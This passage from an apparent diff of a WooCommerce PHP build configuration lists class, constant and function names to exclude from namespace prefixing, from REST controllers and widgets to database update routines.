+ 'WC_REST_Report_Products_Totals_Controller', + 'WC_REST_Report_Reviews_Totals_Controller', + 'WC_REST_Report_Sales_Controller', + 'WC_REST_Report_Sales_V1_Controller', + 'WC_REST_Report_Sales_V2_Controller', + 'WC_REST_Report_Top_Sellers_Controller', + 'WC_REST_Report_Top_Sellers_V1_Controller', + 'WC_REST_Report_Top_Sellers_V2_Controller', + 'WC_REST_Reports_Controller', + 'WC_REST_Reports_V1_Controller', + 'WC_REST_Reports_V2_Controller', + 'WC_REST_Setting_Options_Controller', + 'WC_REST_Setting_Options_V2_Controller', + 'WC_REST_Settings_Controller', + 'WC_REST_Settings_V2_Controller', + 'WC_REST_Settings_V4_Controller', + 'WC_REST_Shipping_Methods_Controller', + 'WC_REST_Shipping_Methods_V2_Controller', + 'WC_REST_Shipping_Zone_Locations_Controller', + 'WC_REST_Shipping_Zone_Locations_V2_Controller', + 'WC_REST_Shipping_Zone_Methods_Controller', + 'WC_REST_Shipping_Zone_Methods_V2_Controller', + 'WC_REST_Shipping_Zones_Controller', + 'WC_REST_Shipping_Zones_Controller_Base', + 'WC_REST_Shipping_Zones_V2_Controller', + 'WC_REST_System_Status_Controller', + 'WC_REST_System_Status_Tools_Controller', + 'WC_REST_System_Status_Tools_V2_Controller', + 'WC_REST_System_Status_V2_Controller', + 'WC_REST_Tax_Classes_Controller', + 'WC_REST_Tax_Classes_V1_Controller', + 'WC_REST_Tax_Classes_V2_Controller', + 'WC_REST_Taxes_Controller', + 'WC_REST_Taxes_V1_Controller', + 'WC_REST_Taxes_V2_Controller', + 'WC_REST_Telemetry_Controller', + 'WC_REST_Terms_Controller', + 'WC_REST_V4_Controller', + 'WC_REST_Variations_Controller', + 'WC_REST_WCCOM_Site_Connection_Controller', + 'WC_REST_WCCOM_Site_Controller', + 'WC_REST_WCCOM_Site_Installer_Controller', + 'WC_REST_WCCOM_Site_Installer_Error', + 'WC_REST_WCCOM_Site_Installer_Error_Codes', + 'WC_REST_WCCOM_Site_SSR_Controller', + 'WC_REST_WCCOM_Site_Status_Controller', + 'WC_REST_Webhook_Deliveries_V1_Controller', + 'WC_REST_Webhook_Deliveries_V2_Controller', + 'WC_REST_Webhooks_Controller', + 'WC_REST_Webhooks_V1_Controller', + 'WC_REST_Webhooks_V2_Controller', + 'WC_Rate_Limiter', + 'WC_Regenerate_Images', + 'WC_Regenerate_Images_Request', + 'WC_Register_WP_Admin_Settings', + 'WC_Report_Coupon_Usage', + 'WC_Report_Customer_List', + 'WC_Report_Customers', + 'WC_Report_Downloads', + 'WC_Report_Low_In_Stock', + 'WC_Report_Most_Stocked', + 'WC_Report_Out_Of_Stock', + 'WC_Report_Sales_By_Category', + 'WC_Report_Sales_By_Date', + 'WC_Report_Sales_By_Product', + 'WC_Report_Stock', + 'WC_Report_Taxes_By_Code', + 'WC_Report_Taxes_By_Date', + 'WC_Session', + 'WC_Session_Handler', + 'WC_Settings_API', + 'WC_Settings_Accounts', + 'WC_Settings_Advanced', + 'WC_Settings_Emails', + 'WC_Settings_General', + 'WC_Settings_Integrations', + 'WC_Settings_Page', + 'WC_Settings_Payment_Gateways', + 'WC_Settings_Point_Of_Sale', + 'WC_Settings_Products', + 'WC_Settings_Rest_API', + 'WC_Settings_Shipping', + 'WC_Settings_Site_Visibility', + 'WC_Settings_Tax', + 'WC_Settings_Tracking', + 'WC_Shipping', + 'WC_Shipping_Flat_Rate', + 'WC_Shipping_Free_Shipping', + 'WC_Shipping_Legacy_Flat_Rate', + 'WC_Shipping_Legacy_Free_Shipping', + 'WC_Shipping_Legacy_International_Delivery', + 'WC_Shipping_Legacy_Local_Delivery', + 'WC_Shipping_Legacy_Local_Pickup', + 'WC_Shipping_Local_Pickup', + 'WC_Shipping_Method', + 'WC_Shipping_Rate', + 'WC_Shipping_Zone', + 'WC_Shipping_Zone_Data_Store', + 'WC_Shipping_Zone_Data_Store_Interface', + 'WC_Shipping_Zones', + 'WC_Shop_Customizer', + 'WC_Shortcode_Cart', + 'WC_Shortcode_Checkout', + 'WC_Shortcode_My_Account', + 'WC_Shortcode_Order_Tracking', + 'WC_Shortcode_Products', + 'WC_Shortcodes', + 'WC_Site_Tracking', + 'WC_Status_Tracking', + 'WC_Structured_Data', + 'WC_Tax', + 'WC_Tax_Rate_Importer', + 'WC_Template_Loader', + 'WC_Theme_Tracking', + 'WC_Tracker', + 'WC_Tracks', + 'WC_Tracks_Client', + 'WC_Tracks_Event', + 'WC_Tracks_Footer_Pixel', + 'WC_Twenty_Eleven', + 'WC_Twenty_Fifteen', + 'WC_Twenty_Fourteen', + 'WC_Twenty_Nineteen', + 'WC_Twenty_Seventeen', + 'WC_Twenty_Sixteen', + 'WC_Twenty_Ten', + 'WC_Twenty_Thirteen', + 'WC_Twenty_Twelve', + 'WC_Twenty_Twenty', + 'WC_Twenty_Twenty_One', + 'WC_Twenty_Twenty_Three', + 'WC_Twenty_Twenty_Two', + 'WC_Updates_Screen_Updates', + 'WC_Validation', + 'WC_Vendor_Attribute', + 'WC_Vendor_PhpToken', + 'WC_Vendor_Stringable', + 'WC_Vendor_UnhandledMatchError', + 'WC_Vendor_ValueError', + 'WC_WCCOM_Site', + 'WC_WCCOM_Site_Installation_Manager', + 'WC_WCCOM_Site_Installation_State', + 'WC_WCCOM_Site_Installation_State_Storage', + 'WC_WCCOM_Site_Installation_Step', + 'WC_WCCOM_Site_Installation_Step_Activate_Product', + 'WC_WCCOM_Site_Installation_Step_Download_Product', + 'WC_WCCOM_Site_Installation_Step_Get_Product_Info', + 'WC_WCCOM_Site_Installation_Step_Move_Product', + 'WC_WCCOM_Site_Installation_Step_Unpack_Product', + 'WC_WCCOM_Site_Installer', + 'WC_Webhook', + 'WC_Webhook_Data_Store', + 'WC_Webhook_Data_Store_Interface', + 'WC_Widget', + 'WC_Widget_Brand_Description', + 'WC_Widget_Brand_Nav', + 'WC_Widget_Brand_Thumbnails', + 'WC_Widget_Cart', + 'WC_Widget_Layered_Nav', + 'WC_Widget_Layered_Nav_Filters', + 'WC_Widget_Price_Filter', + 'WC_Widget_Product_Categories', + 'WC_Widget_Product_Search', + 'WC_Widget_Product_Tag_Cloud', + 'WC_Widget_Products', + 'WC_Widget_Rating_Filter', + 'WC_Widget_Recent_Reviews', + 'WC_Widget_Recently_Viewed', + 'WC_Widget_Top_Rated_Products', + 'WC_Woo_Helper_Connection', + 'WC_Woo_Update_Manager_Plugin', + 'WP_Async_Request', + 'WP_Background_Process', + 'WooCommerce', + ), + 'exclude-constants' => array( + 'FILTER_VALIDATE_BOOL', + 'WC_ADMIN_IMAGES_FOLDER_URL', + 'WC_ADMIN_PACKAGE_EXISTS', + 'WC_ADMIN_VERSION_NUMBER', + 'WC_CHUNK_SIZE', + 'WC_PLUGIN_FILE', + 'WP_POST_REVISIONS', + ), + 'exclude-functions' => array( + 'WC', + '__experimental_woocommerce_blocks_register_checkout_field', + '__internal_woocommerce_blocks_deregister_checkout_field', + '_sort_priority_callback', + '_wc_delete_transients', + '_wc_get_cached_product_terms', + '_wc_get_product_terms_name_num_usort_callback', + '_wc_get_product_terms_parent_usort_callback', + '_wc_recount_terms_by_product', + '_wc_save_product_price', + '_wc_term_recount', + '_woocommerce_term_recount', + 'action_scheduler_initialize_3_dot_9_dot_3', + 'action_scheduler_register_3_dot_9_dot_3', + 'add_woocommerce_term_meta', + 'as_enqueue_async_action', + 'as_get_datetime_object', + 'as_get_scheduled_actions', + 'as_has_scheduled_action', + 'as_next_scheduled_action', + 'as_schedule_cron_action', + 'as_schedule_recurring_action', + 'as_schedule_single_action', + 'as_supports', + 'as_unschedule_action', + 'as_unschedule_all_actions', + 'delete_woocommerce_term_meta', + 'extract_order_safe_data', + 'fdiv', + 'filter_created_pages', + 'flush_rewrite_rules_on_shop_page_save', + 'get_brand_thumbnail_image', + 'get_brand_thumbnail_url', + 'get_brands', + 'get_debug_type', + 'get_product', + 'get_product_search_form', + 'get_resource_id', + 'get_woocommerce_api_url', + 'get_woocommerce_currencies', + 'get_woocommerce_currency', + 'get_woocommerce_currency_symbol', + 'get_woocommerce_currency_symbols', + 'get_woocommerce_price_format', + 'get_woocommerce_term_meta', + 'is_account_page', + 'is_add_payment_method_page', + 'is_ajax', + 'is_cart', + 'is_checkout', + 'is_checkout_pay_page', + 'is_edit_account_page', + 'is_filtered', + 'is_lost_password_page', + 'is_order_received_page', + 'is_payment_methods_page', + 'is_product', + 'is_product_category', + 'is_product_tag', + 'is_product_taxonomy', + 'is_shop', + 'is_store_notice_showing', + 'is_view_order_page', + 'is_wc_admin_settings_page', + 'is_wc_endpoint_url', + 'is_woocommerce', + 'meta_is_product_attribute', + 'preg_last_error_msg', + 'str_contains', + 'str_ends_with', + 'str_starts_with', + 'taxonomy_is_product_attribute', + 'update_woocommerce_term_meta', + 'wc_add_aria_label_to_pagination_numbers', + 'wc_add_notice', + 'wc_add_number_precision', + 'wc_add_number_precision_deep', + 'wc_add_order_item', + 'wc_add_order_item_meta', + 'wc_add_to_cart_message', + 'wc_add_wp_error_notices', + 'wc_admin_connect_core_pages', + 'wc_admin_connect_page', + 'wc_admin_filter_core_page_breadcrumbs', + 'wc_admin_get_breadcrumbs', + 'wc_admin_get_core_pages_to_connect', + 'wc_admin_get_feature_config', + 'wc_admin_is_connected_page', + 'wc_admin_is_registered_page', + 'wc_admin_number_format', + 'wc_admin_record_tracks_event', + 'wc_admin_register_page', + 'wc_admin_update_0201_order_status_index', + 'wc_admin_update_0230_rename_gross_total', + 'wc_admin_update_0251_remove_unsnooze_action', + 'wc_admin_update_110_remove_facebook_note', + 'wc_admin_update_130_db_version', + 'wc_admin_update_130_remove_dismiss_action_from_tracking_opt_in_note', + 'wc_admin_update_140_db_version', + 'wc_admin_update_160_remove_facebook_note', + 'wc_admin_update_170_homescreen_layout', + 'wc_admin_update_270_delete_report_downloads', + 'wc_admin_update_271_update_task_list_options', + 'wc_admin_update_280_order_status', + 'wc_admin_update_290_delete_default_homepage_layout_option', + 'wc_admin_update_290_update_apperance_task_option', + 'wc_admin_update_300_update_is_read_from_last_read', + 'wc_admin_update_340_remove_is_primary_from_note_action', + 'wc_admin_url', + 'wc_after_switch_theme', + 'wc_api_hash', + 'wc_apply_product_image_overrides', + 'wc_apply_sale_state_for_product', + 'wc_array_cartesian', + 'wc_array_filter_default_attributes', + 'wc_array_merge_recursive_numeric', + 'wc_array_overlay', + 'wc_ascii_uasort_comparison', + 'wc_asort_by_locale', + 'wc_attribute_label', + 'wc_attribute_orderby', + 'wc_attribute_taxonomy_id_by_name', + 'wc_attribute_taxonomy_name', + 'wc_attribute_taxonomy_name_by_id', + 'wc_attribute_taxonomy_slug', + 'wc_attributes_array_filter_variation', + 'wc_attributes_array_filter_visible', + 'wc_back_header', + 'wc_back_link', + 'wc_block_theme_has_styles_for_element', + 'wc_body_class', + 'wc_bool_to_string', + 'wc_cache_get_multiple', + 'wc_cancel_unpaid_orders', + 'wc_cart_round_discount', + 'wc_cart_totals_coupon_html', + 'wc_cart_totals_coupon_label', + 'wc_cart_totals_fee_html', + 'wc_cart_totals_order_total_html', + 'wc_cart_totals_shipping_html', + 'wc_cart_totals_shipping_method_label', + 'wc_cart_totals_subtotal_html', + 'wc_cart_totals_taxes_total_html', + 'wc_caught_exception', + 'wc_change_get_terms_defaults', + 'wc_change_pre_get_terms', + 'wc_change_term_counts', + 'wc_check_if_attribute_name_is_reserved', + 'wc_check_invalid_utf8', + 'wc_checkout_fields_uasort_comparison', + 'wc_checkout_is_https', + 'wc_checkout_privacy_policy_text', + 'wc_clean', + 'wc_cleanup_logs', + 'wc_cleanup_session_data', + 'wc_clear_cart_after_payment', + 'wc_clear_notices', + 'wc_clear_system_status_theme_info_cache', + 'wc_clear_template_cache', + 'wc_clear_term_product_ids', + 'wc_coupons_enabled', + 'wc_create_attribute', + 'wc_create_new_customer', + 'wc_create_new_customer_username', + 'wc_create_order', + 'wc_create_order_note', + 'wc_create_page', + 'wc_create_refund', + 'wc_current_theme_is_fse_theme', + 'wc_current_theme_supports_woocommerce_or_fse', + 'wc_current_user_has_role', + 'wc_current_user_is_active', + 'wc_customer_bought_product', + 'wc_customer_edit_account_url', + 'wc_customer_has_capability', + 'wc_date_format', + 'wc_decimal_to_fraction', + 'wc_deferred_product_sync', + 'wc_delete_attribute', + 'wc_delete_expired_transients', + 'wc_delete_order_item', + 'wc_delete_order_item_meta', + 'wc_delete_order_note', + 'wc_delete_product_transients', + 'wc_delete_related_product_transients', + 'wc_delete_shop_order_transients', + 'wc_delete_user_data', + 'wc_deliver_webhook_async', + 'wc_deprecated_argument', + 'wc_deprecated_function', + 'wc_deprecated_hook', + 'wc_disable_admin_bar', + 'wc_disable_author_archives_for_customers', + 'wc_display_item_downloads', + 'wc_display_item_meta', + 'wc_display_product_attributes', + 'wc_do_deprecated_action', + 'wc_do_oembeds', + 'wc_doing_it_wrong', + 'wc_downloadable_file_permission', + 'wc_downloadable_product_permissions', + 'wc_dropdown_variation_attribute_options', + 'wc_edit_address_i18n', + 'wc_empty_cart', + 'wc_empty_cart_message', + 'wc_enable_wc_plugin_headers', + 'wc_enqueue_js', + 'wc_esc_json', + 'wc_fix_product_attachment_link', + 'wc_fix_rewrite_rules', + 'wc_flatten_meta_callback', + 'wc_float_to_string', + 'wc_format_content', + 'wc_format_country_state_string', + 'wc_format_coupon_code', + 'wc_format_datetime', + 'wc_format_decimal', + 'wc_format_dimensions', + 'wc_format_hex', + 'wc_format_list_of_items', + 'wc_format_localized_decimal', + 'wc_format_localized_price', + 'wc_format_option_hold_stock_minutes', + 'wc_format_option_price_num_decimals', + 'wc_format_option_price_separators', + 'wc_format_phone_number', + 'wc_format_postcode', + 'wc_format_price_range', + 'wc_format_product_short_description', + 'wc_format_refund_total', + 'wc_format_sale_price', + 'wc_format_stock_for_display', + 'wc_format_stock_quantity_for_display', + 'wc_format_weight', + 'wc_gallery_noscript', + 'wc_generate_order_key', + 'wc_generator_tag', + 'wc_get_account_downloads_columns', + 'wc_get_account_endpoint_url', + 'wc_get_account_formatted_address', + 'wc_get_account_menu_item_classes', + 'wc_get_account_menu_items', + 'wc_get_account_orders_actions', + 'wc_get_account_orders_columns', + 'wc_get_account_payment_methods_columns', + 'wc_get_account_payment_methods_types', + 'wc_get_account_saved_payment_methods_list', + 'wc_get_account_saved_payment_methods_list_item_cc', + 'wc_get_account_saved_payment_methods_list_item_echeck', + 'wc_get_attachment_image_attributes', + 'wc_get_attribute', + 'wc_get_attribute_taxonomies', + 'wc_get_attribute_taxonomy_ids', + 'wc_get_attribute_taxonomy_labels', + 'wc_get_attribute_taxonomy_names', + 'wc_get_attribute_type_label', + 'wc_get_attribute_types', + 'wc_get_base_location', + 'wc_get_brand_thumbnail_image', + 'wc_get_brand_thumbnail_url', + 'wc_get_brands', + 'wc_get_cart_coupon_types', + 'wc_get_cart_item_data_hash', + 'wc_get_cart_remove_url', + 'wc_get_cart_undo_url', + 'wc_get_cart_url', + 'wc_get_checkout_url', + 'wc_get_chosen_shipping_method_for_package', + 'wc_get_chosen_shipping_method_ids', + 'wc_get_container', + 'wc_get_core_supported_themes', + 'wc_get_coupon_code_by_id', + 'wc_get_coupon_id_by_code', + 'wc_get_coupon_type', + 'wc_get_coupon_types', + 'wc_get_credit_card_type_label', + 'wc_get_current_admin_url', + 'wc_get_customer_available_downloads', + 'wc_get_customer_avatar_url', + 'wc_get_customer_default_location', + 'wc_get_customer_download_permissions', + 'wc_get_customer_geolocation', + 'wc_get_customer_last_order', + 'wc_get_customer_order_count', + 'wc_get_customer_saved_methods_list', + 'wc_get_customer_total_spent', + 'wc_get_default_product_rows_per_page', + 'wc_get_default_product_type_options', + 'wc_get_default_products_per_row', + 'wc_get_default_shipping_method_for_package', + 'wc_get_dimension', + 'wc_get_email_fulfillment_items', + 'wc_get_email_order_items', + 'wc_get_endpoint_url', + 'wc_get_featured_product_ids', + 'wc_get_filename_from_url', + 'wc_get_formatted_cart_item_data', + 'wc_get_formatted_variation', + 'wc_get_gallery_image_html', + 'wc_get_held_stock_quantity', + 'wc_get_image_size', + 'wc_get_is_paid_statuses', + 'wc_get_is_pending_statuses', + 'wc_get_log_file_name', + 'wc_get_log_file_path', + 'wc_get_logger', + 'wc_get_logout_redirect_url', + 'wc_get_loop_class', + 'wc_get_loop_product_visibility', + 'wc_get_loop_prop', + 'wc_get_low_stock_amount', + 'wc_get_min_max_price_meta_query', + 'wc_get_notice_data_attr', + 'wc_get_notices', + 'wc_get_object_terms', + 'wc_get_order', + 'wc_get_order_id_by_order_item_id', + 'wc_get_order_id_by_order_key', + 'wc_get_order_item_meta', + 'wc_get_order_note', + 'wc_get_order_notes', + 'wc_get_order_status_name', + 'wc_get_order_statuses', + 'wc_get_order_type', + 'wc_get_order_types', + 'wc_get_orders', + 'wc_get_page_children', + 'wc_get_page_id', + 'wc_get_page_permalink', + 'wc_get_page_screen_id', + 'wc_get_path_define_tokens', + 'wc_get_pay_buttons', + 'wc_get_payment_gateway_by_order', + 'wc_get_permalink_structure', + 'wc_get_post_data_by_key', + 'wc_get_price_decimal_separator', + 'wc_get_price_decimals', + 'wc_get_price_excluding_tax', + 'wc_get_price_html_from_text', + 'wc_get_price_including_tax', + 'wc_get_price_thousand_separator', + 'wc_get_price_to_display', + 'wc_get_privacy_policy_text', + 'wc_get_product', + 'wc_get_product_attachment_props', + 'wc_get_product_backorder_options', + 'wc_get_product_cat_class', + 'wc_get_product_cat_ids', + 'wc_get_product_category_list', + 'wc_get_product_class', + 'wc_get_product_coupon_types', + 'wc_get_product_gallery_html', + 'wc_get_product_id_by_global_unique_id', + 'wc_get_product_id_by_sku', + 'wc_get_product_ids_on_sale', + 'wc_get_product_object', + 'wc_get_product_stock_status_options', + 'wc_get_product_tag_list', + 'wc_get_product_tax_class_options', + 'wc_get_product_taxonomy_class', + 'wc_get_product_term_ids', + 'wc_get_product_terms', + 'wc_get_product_types', + 'wc_get_product_variation_attributes', + 'wc_get_product_visibility_options', + 'wc_get_product_visibility_term_ids', + 'wc_get_products', + 'wc_get_quantity_input_args', + 'wc_get_rating_html', + 'wc_get_raw_referer', + 'wc_get_related_products', + 'wc_get_relative_url', + 'wc_get_review_order_url', + 'wc_get_rounding_precision', + 'wc_get_scheduled_actions', + 'wc_get_screen_ids', + 'wc_get_server_database_version', + 'wc_get_shipping_method_count', + 'wc_get_shipping_zone', + 'wc_get_star_rating_html', + 'wc_get_stock_html', + 'wc_get_string_before_colon', + 'wc_get_tax_class_by_tax_id', + 'wc_get_tax_rounding_mode', + 'wc_get_template', + 'wc_get_template_html', + 'wc_get_template_part', + 'wc_get_term_product_ids', + 'wc_get_terms_and_conditions_checkbox_text', + 'wc_get_text_attributes', + 'wc_get_text_attributes_filter_callback', + 'wc_get_theme_slug_for_templates', + 'wc_get_theme_support', + 'wc_get_user_agent', + 'wc_get_var', + 'wc_get_webhook', + 'wc_get_webhook_rest_api_versions', + 'wc_get_webhook_statuses', + 'wc_get_weight', + 'wc_get_wildcard_postcodes', + 'wc_handle_product_end_scheduled_sale', + 'wc_handle_product_start_scheduled_sale', + 'wc_has_custom_attribute_types', + 'wc_has_notice', + 'wc_help_tip', + 'wc_hex_darker', + 'wc_hex_is_light', + 'wc_hex_lighter', + 'wc_implode_html_attributes', + 'wc_implode_text_attributes', + 'wc_importer_current_locale', + 'wc_importer_default_english_mappings', + 'wc_importer_default_special_english_mappings', + 'wc_importer_generic_mappings', + 'wc_importer_shopify_expand_data', + 'wc_importer_shopify_mappings', + 'wc_importer_shopify_special_mappings', + 'wc_importer_wordpress_mappings', + 'wc_increase_stock_levels', + 'wc_interactivity_api_load_product', + 'wc_interactivity_api_load_purchasable_child_products', + 'wc_interactivity_api_load_variations', + 'wc_is_active_theme', + 'wc_is_attribute_in_product_name', + 'wc_is_current_account_menu_item', + 'wc_is_external_resource', + 'wc_is_file_valid_csv', + 'wc_is_order_status', + 'wc_is_running_from_async_action_scheduler', + 'wc_is_same_coupon', + 'wc_is_stock_amount_integer', + 'wc_is_valid_url', + 'wc_is_webhook_valid_status', + 'wc_is_webhook_valid_topic', + 'wc_is_wp_default_theme_active', + 'wc_kses_notice', + 'wc_legacy_round_half_down', + 'wc_let_to_num', + 'wc_light_or_dark', + 'wc_list_pages', + 'wc_list_pluck', + 'wc_load_cart', + 'wc_load_persistent_cart', + 'wc_load_webhooks', + 'wc_locate_template', + 'wc_log_order_step', + 'wc_logout_url', + 'wc_lostpassword_url', + 'wc_mail', + 'wc_make_numeric_postcode', + 'wc_make_phone_clickable', + 'wc_maybe_adjust_line_item_product_stock', + 'wc_maybe_define_constant', + 'wc_maybe_increase_stock_levels', + 'wc_maybe_reduce_stock_levels', + 'wc_maybe_schedule_product_sale_events', + 'wc_maybe_schedule_sale_events_on_meta_change', + 'wc_maybe_store_user_agent', + 'wc_meta_update_last_update_time', + 'wc_modify_editable_roles', + 'wc_modify_map_meta_cap', + 'wc_ms_protect_download_rewite_rules', + 'wc_nav_menu_inner_blocks', + 'wc_nav_menu_item_classes', + 'wc_nav_menu_items', + 'wc_next_scheduled_action', + 'wc_no_js', + 'wc_no_products_found', + 'wc_nocache_headers', + 'wc_normalize_postcode', + 'wc_notice_count', + 'wc_order_fully_refunded', + 'wc_order_search', + 'wc_orders_count', + 'wc_page_endpoint_document_title_parts', + 'wc_page_endpoint_title', + 'wc_page_no_robots', + 'wc_page_noindex', + 'wc_parse_relative_date_option', + 'wc_paying_customer', + 'wc_placeholder_img', + 'wc_placeholder_img_src', + 'wc_post_content_has_shortcode', + 'wc_postcode_location_matcher', + 'wc_prepare_attachment_for_js', + 'wc_prevent_adjacent_posts_rel_link_wp_head', + 'wc_prevent_dangerous_auto_updates', + 'wc_prevent_endpoint_indexing', + 'wc_price', + 'wc_prices_include_tax', + 'wc_print_js', + 'wc_print_notice', + 'wc_print_notices', + 'wc_print_r', + 'wc_privacy_policy_page_id', + 'wc_privacy_policy_text', + 'wc_processing_order_count', + 'wc_product_attach_featured_image', + 'wc_product_attribute_uasort_comparison', + 'wc_product_canonical_redirect', + 'wc_product_cat_class', + 'wc_product_class', + 'wc_product_dimensions_enabled', + 'wc_product_dropdown_categories', + 'wc_product_force_unique_sku', + 'wc_product_generate_unique_sku', + 'wc_product_has_global_unique_id', + 'wc_product_has_unique_sku', + 'wc_product_post_class', + 'wc_product_post_type_link', + 'wc_product_sku_enabled', + 'wc_product_weight_enabled', + 'wc_products_array_filter_editable', + 'wc_products_array_filter_readable', + 'wc_products_array_filter_visible', + 'wc_products_array_filter_visible_grouped', + 'wc_products_array_orderby', + 'wc_products_array_orderby_date', + 'wc_products_array_orderby_id', + 'wc_products_array_orderby_menu_order', + 'wc_products_array_orderby_modified', + 'wc_products_array_orderby_price', + 'wc_products_array_orderby_title', + 'wc_products_rss_feed', + 'wc_protected_product_add_to_cart', + 'wc_query_string_form_fields', + 'wc_rand_hash', + 'wc_recount_after_stock_change', + 'wc_recount_all_terms', + 'wc_reduce_stock_levels', + 'wc_refund_payment', + 'wc_register_default_log_handler', + 'wc_register_order_type', + 'wc_register_widgets', + 'wc_registration_privacy_policy_text', + 'wc_release_coupons_for_order', + 'wc_release_stock_for_order', + 'wc_remove_non_displayable_chars', + 'wc_remove_number_precision', + 'wc_remove_number_precision_deep', + 'wc_render_action_buttons', + 'wc_render_invalid_variation_notice', + 'wc_render_product_image_template_for', + 'wc_render_product_image_template_for_image_ids', + 'wc_reorder_terms', + 'wc_repair_zero_discount_coupons_lookup_table', + 'wc_replace_policy_page_link_placeholders', + 'wc_reserve_stock_for_order', + 'wc_reset_loop', + 'wc_reset_order_customer_id_on_deleted_user', + 'wc_reset_product_grid_settings', + 'wc_rest_allowed_image_mime_types', + 'wc_rest_check_manager_permissions', + 'wc_rest_check_post_permissions', + 'wc_rest_check_product_reviews_permissions', + 'wc_rest_check_product_term_permissions', + 'wc_rest_check_user_permissions', + 'wc_rest_is_from_product_editor', + 'wc_rest_prepare_date_response', + 'wc_rest_set_uploaded_image_as_attachment', + 'wc_rest_should_load_namespace', + 'wc_rest_upload_image_from_url', + 'wc_rest_urlencode_rfc3986', + 'wc_rest_validate_reports_request_arg', + 'wc_restock_refunded_items', + 'wc_restore_locale', + 'wc_review_is_from_verified_owner', + 'wc_review_ratings_enabled', + 'wc_review_ratings_required', + 'wc_reviews_enabled', + 'wc_rgb_from_hex', + 'wc_round_discount', + 'wc_round_tax_total', + 'wc_sanitize_coupon_code', + 'wc_sanitize_endpoint_slug', + 'wc_sanitize_order_id', + 'wc_sanitize_permalink', + 'wc_sanitize_phone_number', + 'wc_sanitize_taxonomy_name', + 'wc_sanitize_term_text_based', + 'wc_sanitize_textarea', + 'wc_sanitize_tooltip', + 'wc_save_order_items', + 'wc_schedule_cron_action', + 'wc_schedule_product_sale_events', + 'wc_schedule_recurring_action', + 'wc_schedule_single_action', + 'wc_scheduled_sales', + 'wc_selected', + 'wc_send_frame_options_header', + 'wc_set_customer_auth_cookie', + 'wc_set_hooked_blocks_version', + 'wc_set_hooked_blocks_version_on_theme_switch', + 'wc_set_loop_product_visibility', + 'wc_set_loop_prop', + 'wc_set_notices', + 'wc_set_template_cache', + 'wc_set_term_order', + 'wc_set_time_limit', + 'wc_set_user_last_update_time', + 'wc_setcookie', + 'wc_setup_loop', + 'wc_setup_product_data', + 'wc_ship_to_billing_address_only', + 'wc_shipping_enabled', + 'wc_shipping_methods_have_changed', + 'wc_shipping_zone_method_order_uasort_comparison', + 'wc_shop_manager_has_capability', + 'wc_site_is_https', + 'wc_stock_amount', + 'wc_string_to_array', + 'wc_string_to_bool', + 'wc_string_to_datetime', + 'wc_string_to_timestamp', + 'wc_strtolower', + 'wc_strtoupper', + 'wc_switch_to_site_locale', + 'wc_tax_enabled', + 'wc_taxonomy_metadata_migrate_data', + 'wc_taxonomy_metadata_update_content_for_split_terms', + 'wc_taxonomy_metadata_wpdbfix', + 'wc_template_redirect', + 'wc_terms_and_conditions_checkbox_enabled', + 'wc_terms_and_conditions_checkbox_text', + 'wc_terms_and_conditions_page_content', + 'wc_terms_and_conditions_page_id', + 'wc_terms_clauses', + 'wc_time_format', + 'wc_timezone_offset', + 'wc_timezone_string', + 'wc_tokenize_path', + 'wc_track_product_view', + 'wc_transaction_query', + 'wc_translate_user_roles', + 'wc_trigger_stock_change_actions', + 'wc_trigger_stock_change_notifications', + 'wc_trim_string', + 'wc_trim_zeros', + 'wc_uasort_comparison', + 'wc_unschedule_action', + 'wc_untokenize_path', + 'wc_update_1000_multisite_visibility_setting', + 'wc_update_1000_remove_patterns_toolkit_transient', + 'wc_update_1020_add_old_refunded_order_items_to_product_lookup_table', + 'wc_update_1030_add_comments_date_type_index', + 'wc_update_1040_add_idx_date_paid_status_parent', + 'wc_update_1040_cleanup_legacy_ptk_patterns_fetching', + 'wc_update_1050_add_idx_user_email', + 'wc_update_1050_enable_autoload_options', + 'wc_update_1050_migrate_brand_permalink_setting', + 'wc_update_1050_remove_deprecated_marketplace_option', + 'wc_update_1060_add_woo_idx_comment_approved_type_index', + 'wc_update_1070_disable_hpos_sync_on_read', + 'wc_update_10802_restore_orders_meta_key_value_index', + 'wc_update_1080_backfill_email_template_sync_meta', + 'wc_update_1080_migrate_analytics_import_option', + 'wc_update_10902_remove_deprecated_push_notifications_option', + 'wc_update_1090_remove_task_list_reminder_bar_hidden_option', + 'wc_update_200_db_version', + 'wc_update_200_file_paths', + 'wc_update_200_images', + 'wc_update_200_line_items', + 'wc_update_200_permalinks', + 'wc_update_200_subcat_display', + 'wc_update_200_taxrates', + 'wc_update_209_brazillian_state', + 'wc_update_209_db_version', + 'wc_update_210_db_version', + 'wc_update_210_file_paths', + 'wc_update_210_remove_pages', + 'wc_update_220_attributes', + 'wc_update_220_db_version', + 'wc_update_220_order_status', + 'wc_update_220_shipping', + 'wc_update_220_variations', + 'wc_update_230_db_version', + 'wc_update_230_options', + 'wc_update_240_api_keys', + 'wc_update_240_db_version', + 'wc_update_240_options', + 'wc_update_240_refunds', + 'wc_update_240_shipping_methods', + 'wc_update_240_webhooks', + 'wc_update_241_db_version', + 'wc_update_241_variations', + 'wc_update_250_currency', + 'wc_update_250_db_version', + 'wc_update_260_db_version', + 'wc_update_260_options', + 'wc_update_260_refunds', + 'wc_update_260_termmeta', + 'wc_update_260_zone_methods', + 'wc_update_260_zones', + 'wc_update_300_comment_type_index', + 'wc_update_300_db_version', + 'wc_update_300_grouped_products', + 'wc_update_300_product_visibility', + 'wc_update_300_settings', + 'wc_update_300_webhooks', + 'wc_update_310_db_version', + 'wc_update_310_downloadable_products', + 'wc_update_310_old_comments', + 'wc_update_312_db_version', + 'wc_update_312_shop_manager_capabilities', + 'wc_update_320_db_version', + 'wc_update_320_mexican_states', + 'wc_update_330_clear_transients', + 'wc_update_330_db_version', + 'wc_update_330_image_options', + 'wc_update_330_product_stock_status', + 'wc_update_330_set_default_product_cat', + 'wc_update_330_set_paypal_sandbox_credentials', + 'wc_update_330_webhooks', + 'wc_update_340_db_version', + 'wc_update_340_last_active', + 'wc_update_340_state', + 'wc_update_340_states', + 'wc_update_343_cleanup_foreign_keys', + 'wc_update_343_db_version', + 'wc_update_344_db_version', + 'wc_update_344_recreate_roles', + 'wc_update_350_db_version', + 'wc_update_350_reviews_comment_type', + 'wc_update_352_drop_download_log_fk', + 'wc_update_354_db_version', + 'wc_update_354_modify_shop_manager_caps', + 'wc_update_360_db_version', + 'wc_update_360_downloadable_product_permissions_index', + 'wc_update_360_product_lookup_tables', + 'wc_update_360_term_meta', + 'wc_update_370_db_version', + 'wc_update_370_mro_std_currency', + 'wc_update_370_tax_rate_classes', + 'wc_update_390_change_geolocation_database_update_cron', + 'wc_update_390_db_version', + 